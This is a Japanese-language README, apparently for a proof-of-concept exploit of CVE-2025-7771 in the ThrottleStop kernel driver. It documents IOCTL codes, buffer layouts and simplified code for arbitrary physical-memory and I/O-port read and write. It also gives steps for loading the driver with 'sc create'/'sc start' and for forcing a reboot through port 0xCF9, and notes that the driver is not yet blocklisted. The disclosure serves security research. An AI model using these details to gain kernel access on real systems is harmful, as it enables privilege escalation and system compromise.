
CVE-2025-7771: ThrottleStopドライバを介した任意の物理メモリおよびI/Oポートの読み書き
CVE-2025-7771: ThrottleStop ドライバを介した任意の物理メモリおよび I/O ポートの読み書き
ThrottleStop は、CPU スロットリングを監視および修正するために使用される小規模な正規アプリケーションです。これらのタスクを容易にするドライバを備えており、入力検証はほとんど存在しません。
| IOCTL | 脆弱性 |
|---|---|
| 0x80006498 | 任意のメモリ読み取り |
| 0x8000649C | 任意のメモリ書き込み |
| 0x80006430 | 任意のポート読み取り |
| 0x80006434 | 任意のポート書き込み |
任意の MSR 読み取りと書き込みも存在するようですが、動作させることはできませんでした。
ぜひご自身で調べてみてください。
MSR 読み取りは 0x80006448、書き込みは 0x8000644C にあります。
動作させることができた場合は、手順を記載した issue を送信してください。
以下に記載されている IOCTL 呼び出しはすべて Exploit.c ファイルに実装されています。
0x80006498 IOCTL は、指定された任意の物理アドレスを MmMapIoSpace を使用してカーネル空間にマップし、そこから 1、2、4、または 8 バイトを読み取ります。その後、データはユーザー空間にコピーされます。
この IOCTL をトリガーするには、物理アドレスを入力とし、出力バッファサイズを読み取りサイズ(1、2、4、または 8)として DeviceIoControl を呼び出します。
ドライバにおけるこの IOCTL の簡略化されたコード:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
読み取りと同様に、0x8000649C IOCTL は指定された物理アドレスを MmMapIoSpace を使用してカーネル空間にマップし、そこから 1、2、4、または 8 バイトを読み取ります。
この IOCTL をトリガーするには、以下の入力バッファレイアウトで DeviceIoControl を呼び出します:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
入力バッファサイズは、書き込みサイズに応じて 8 + (1、2、4、または 8) になります。
出力バッファと出力バッファサイズは使用されません。
ドライバにおけるこの IOCTL の簡略化されたコード:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
0x80006430 IOCTL は、ユーザーが IO ポートを指定し、__inbyte、__inword、または __indword を使用して直接読み取ることを可能にします。
入力バッファは USHORT であり、入力バッファサイズは sizeof(USHORT) である必要があります。
出力バッファは結果(要求されたサイズに応じて 1、2、または 4 バイト)を保持し、出力サイズは 1、2、または 4 にすることができます。
ドライバにおけるこの IOCTL の簡略化されたコード:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
ポート読み取りと同様に、0x80006434 IOCTL は、ユーザーが IO ポートを指定し、__outbyte、__outword、または __outdword を使用して任意の値を書き込むことを可能にします。
入力バッファのレイアウトは以下の通りです:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
入力バッファサイズは sizeof(USHORT) + sizeof(Value) (+ パディング) である必要があります。 出力バッファとそのサイズは使用されません。
ドライバにおけるこの IOCTL の簡略化されたコード:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
この変換は、文書化されていない API を使用して仮想アドレスから物理アドレスへの変換を公開する正規のカーネルモジュールである Superfetch を悪用することで可能になります。 このコードは vtop.c に実装されています。
このプロジェクトは Meson を使用してコンパイルできます。PsInitialSystemProcess を使用して System プロセスの EPROCESS 構造体を解決することで UniqueProcessId フィールドを読み取り、それが 4 であるかどうかを確認します(Main.c に実装されており、特定の PID の EPROCESS を見つけるための関数は EProcess.c に実装されています)。さらに、システムを強制再起動するかどうかをユーザーに尋ねます。これは、ポート 0xCF9 に 0x0E 値を書き込むことで可能になります。
警告: すべては Windows 11 build 24H2 でテストされました。EPROCESS 構造体のオフセットは、お使いのシステムでは異なる可能性があります。
プロジェクトをビルドするには
meson setup build
これにより build ディレクトリが作成されます。次に、以下のコマンドでプロジェクトをコンパイルします
meson compile -C build
ドライバはリポジトリの Drivers ディレクトリにあります。ThrottleStop ドライバは、Resource Hacker を介して ThrottleStop.exe プログラムから直接抽出できます。x64 と x86 の 2 つのドライバが見つかります。DriverObject->MajorFunction[14] には、すべての IOCTL が実装されているディスパッチ関数が保持されています。
以下を使用してドライバを作成および起動します:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
このドライバはまだ Microsoft のドライバブロックリストにも loldrivers にも追加されていません。